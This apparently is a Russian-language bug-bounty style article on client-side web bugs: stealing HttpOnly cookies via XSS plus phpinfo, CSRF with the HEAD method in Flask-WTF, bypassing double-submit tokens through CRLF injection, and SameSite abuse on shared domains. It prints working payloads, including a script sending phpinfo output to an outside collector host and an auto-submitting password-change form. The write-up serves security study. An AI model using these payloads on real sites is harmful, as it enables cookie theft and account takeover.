Приветствую! Это статья о клиентских уязвимостях, которые мне показались интересными.
Целью статьи является показать, что иногда из, казалось бы, скучных уязвимостей с низким импактом, можно выжимать больше, чем кажется.
Угон HttpOnly Cookie через phpinfo
Казалось бы, нашли XSS, но угнать cookie не можем, потому что они HttpOnly.
Я тоже так думал, пока не наткнулся на файл phpinfo.php
на том же хосте. Если рассмотреть содержание вывода phpinfo подробнее, то можно увидеть, что в нем присутствует поле HTTP_COOKIE
, в значение которого указаны cookie обратившегося пользователя.
Если флаг HttpOnly включен в заголовок HTTP-ответа, доступ к cookie невозможен через JavaScript
После этого в голову закралась идея, а почему бы не составить такую полезную нагрузку, которая будет отправлять запрос на /phpinfo.php
, а затем перенаправлять жертву на мой хост, на котором я буду принимать вывод phpinfo. Проблема, которая тут возникает - слишком большой вывод phpinfo, она была решена использованием функции substr в JavaScript.
<script>fetch("https://vulnerable.com/info.php").then((response)=>{return response.text();}).then(function(data){window.location.href="https://collaborator.com/?c=".concat(btoa(data).substr(26500, 600));});</script>
Flask-WTF CSRF
Кейс с анализом исходного кода веб-приложения на Python с фреймворком Flask и библиотекой Flask-WTF, для обработки веб-форм.
Первая ошибка, которую допустили разработчики - применить request.values
для получения параметров запроса.
request.values
- это массив, в который кладутся все параметры запроса, независимо от того, какие это параметры - GET или POST.
Вторая ошибка - отсутствие явной обработки POST запроса.
if request.method == "GET":
# do some GET flow
# do some POST flow
Кусок кода выше означает следующее: Если запрос с HTTP методом GET, то исполнить блок кода внутри if, иначе выполнить код находящийся ниже if.
Cуществует интересная особенность, что запросы с методом HEAD неявно обрабатываются, если конечная точка обрабатывает GET запросы. В целом, это правильно, ведь HEAD это тот же самый GET запрос - HTTP RFC 2616, но это поможет нам проэксплуатировать CSRF.
Что мы имеем:
Конечные точки, обрабатывающие GET запросы также работают с HEAD запросами
CSRF токены не работают с GET запросами, а соотвественно и с HEAD.
Разработчик, не обрабатывая POST в отдельном if-блоке, дает возможность провести CSRF с методом HEAD.
Соотвественно, все что нам нужно поменять в обычной полезной нагрузке для CSRF - используемый метод.
<script>
fetch('http://vulnerable.com/doSmth', {method: 'HEAD'});
</script>
Обход Double Submit через CRLF Injection
Существует такой паттерн, когда разработчики помимо добавления CSRF токена в параметры запроса, кладут его также и в cookie.
При таком паттерне сервер проверяет отправленный CSRF-токен на соответствие значению в cookie и первая идея которая идет в голову - поискать CRLF инъекцию.
CRLF инъекции эксплуатируются путем внедрения CRLF символов в веб-приложение.
Аббревиатура CRLF относится к возврату каретки и переводу строки. CR и LF - это специальные символы (ASCII 13 и 10 соответственно, также называемые \r\n), которые используются для обозначения конца строки (EOL).
Самое интересное, что проэксплуатировав CRLF инъекцию, мы можем установить себе произвольные cookie. Таким образом, устанавливая свое значение в cookie, мы сможем обойти Double Submit, указав произвольное значение, которое потом передадим в запросе.
Полезная нагрузка:
<img src=https://zah3k.com/some_param=1337%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None"/>
<form id="autosubmit" action="http://vulnerable.com/api/setpassword" enctype="text/plain" method="POST">
<input name="password" type="hidden" value="hahah" />
<input name="csrf" type="hidden" value="fake" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
SameSite Cookie
Представим, что ваша цель - веб-приложение, которое позволяет создавать блоги пользователям и после создания выдает вам следующий URL - yourusername.blog.com
. А еще во время исследования функционала вы заметили что cookie - SameSite.
Если вы все таки встретили такой кейс - взгляните на eTLD и проверьте его в списке публичных суффиксов - Public Suffix List. Если вашего eTLD нет в списке, то приложение уязвимо.
Но где, как и почему оно уязвимо? Дело в том, что SameSite != SameOrigin, таким образом два домена abc.vuln.com
и zxc.vuln.com
будут считаться SameSite, давая возможность проводить CSRF атаки.